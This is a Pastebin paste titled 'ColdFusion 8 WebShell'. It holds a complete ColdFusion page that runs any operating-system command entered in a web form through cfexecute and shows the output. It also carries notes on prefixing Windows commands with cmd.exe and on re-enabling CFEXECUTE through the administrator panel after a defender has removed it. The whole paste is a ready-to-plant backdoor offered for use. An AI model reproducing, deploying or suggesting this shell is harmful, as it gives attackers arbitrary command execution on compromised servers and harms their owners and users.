teck_k2

ColdFusion 8 WebShell

Dec 28th, 2017
318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.11 KB | None | 0 0
  1. <html>
  2. <body>
  3.  
  4. Notes:<br><br>
  5. <ul>
  6. <li>Prefix DOS commands with "c:\windows\system32\cmd.exe /c <command>" or wherever cmd.exe is<br>
  7. <li>Options are, of course, the command line options you want to run
  8. <li>CFEXECUTE could be removed by the admin. If you have access to CFIDE/administrator you can re-enable it
  9. </ul>
  10. <p>
  11. <cfoutput>
  12. <table>
  13. <form method="POST" action="cfexec.cfm">
  14. <tr><td>Command:</td><td><input type=text name="cmd" size=50
  15. <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
  16. <tr><td>Options:</td><td> <input type=text name="opts" size=50
  17. <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
  18. <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
  19. <cfif isdefined("form.timeout")>value="#form.timeout#"
  20. <cfelse>value="5"</cfif>></td></tr>
  21. </table>
  22. <input type=submit value="Exec">
  23. </form>
  24.  
  25. <cfif isdefined("form.cmd")>
  26. <cfsavecontent variable="myVar">
  27. <cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout = "#Form.timeout#"> </cfexecute>
  28. </cfsavecontent>
  29. <pre> #myVar# </pre>
  30. </cfif>
  31. </cfoutput>
  32. </body>
  33. </html>
Add Comment
Please, Sign In to add comment